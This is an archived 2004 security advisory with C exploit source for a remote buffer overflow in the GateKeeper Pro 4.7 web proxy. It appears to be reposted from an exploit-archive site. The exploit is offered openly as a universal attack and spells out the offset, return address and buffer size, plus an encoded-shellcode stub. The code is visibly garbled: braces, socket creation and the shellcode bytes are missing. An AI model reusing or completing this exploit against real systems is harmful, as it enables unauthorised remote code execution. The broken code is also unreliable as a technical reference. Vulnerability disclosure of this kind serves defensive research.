GateKeeper Pro 4.7 web proxy Remote buffer overflow Exploit

/*================[CRPT - FrenchTeam] =================*
                              [Coromputer Security Advisory] - [CRPTSA-01]
                              *=================== [Summary] =====================*
                              Software : GateKeeper Pro 4.7
                              Platforms : win32
                              Risk : High
                              Impact : Buffer overflow
                              Release Date : 2004-02-23

                              *=================== [Description] ====================*
                              there is a trivial buffer overflow in the web proxy (default port 3128).

                              *==================== [Details] ======================*
                              Sending GET will cause an access
                              violation. Other services not tested, but they can be vulnerable too. Exact
                              version can be checked from the administration service (default port 2000).

                              *==================== [Exploits] ======================*
                              /* [Crpt]    GateKeeper Pro 4.7 remote sploit by kralor    [Crpt]  */
                              /* bug discovered & coded by: kralor [from coromputer]            */
                              /* tested on: win2k pro and winXP                                          */
                              /* it uses a static offset to hijack execution to the shellcode..    */
                              /* so it is 100% universal. Nothing more to say..                      */
                              /*informations: www coromputer net irc undernet #coromputer    */


                              #pragma comment (lib,"ws2_32")

                              #define PORT 3128
                              #define ADMIN_PORT 2000
                              #define VERSION "4.7.0"
                              #define RET_POS 4079
                              #define SIZE 4105
                              #define RET_ADDR 0x03b1e121
                              #define REQ  "GET"
                              #define REQ2 "\r\nHost:\r\n\r\n"
                              // sequence of 4 opcodes
                              #define HOP 0xd4 // host opcode
                              #define POP 0xd7 // port opcode

                              int cnx(char *host, int port)
                              int sock;
                              struct sockaddr_in yeah;
                              struct hostent *she;

                              if(!sock) {
                              printf("error: unable to create socket\r\n");
                              return 0;

                              if((she=gethostbyname(host))!=NULL) {
                              memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
                              } else {
                              if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
                              printf("error: cannot resolve host\r\n");
                              return 0;
                              printf("[+] Connecting to %-30s ...",host);
                              if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
                              printf("error: connection refused\r\n");
                              return 0;
                              return sock;

                              void banner(void)
                              printf("\r\n\t  [Crpt] GateKeeper Pro 4.7 remote sploit by kralor [Crpt]\r\n");
                              printf("\t\t && undernet #coromputer\r\n\r\n");

                              void syntax(char *prog)
                              printf("syntax: %s   \r\n",prog);

                              int main(int argc, char *argv[])
                              WSADATA wsaData;
                              int sock;
                              char buffer[1024],useme[SIZE],*ptr;
                              unsigned long host,port;
                              unsigned int i;
                              char shellc0de[] =   /* sizeof(shellc0de+xorer) == 332 bytes */
                              /* classic xorer */
                              /* shellc0de */


                              if(port65535) {
                              printf("error:  must be between 1 and 65535\r\n");
                              return -1;
                              port=htons((unsigned short)port);

                              *================================= [Disclaimer] ================================*
                              The information within this paper may change without notice.
                              Use of this information constitutes acceptance for use in an AS IS condition.
                              There are NO warranties with to this information.
                              In no event shall the author be liable for any damages whatsoever arising out
                              of or in connection with the use or spread of this information.
                              Any use of this information is at the user's own risk.

                              *================================== [Feedback] =================================*
                              Please send suggestions, updates, and comments to :
                              irc : #coromputer on undernet
                              url :
                              mail : 

                              \*============================\* */===========================*/

 F-VNS Security™  Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits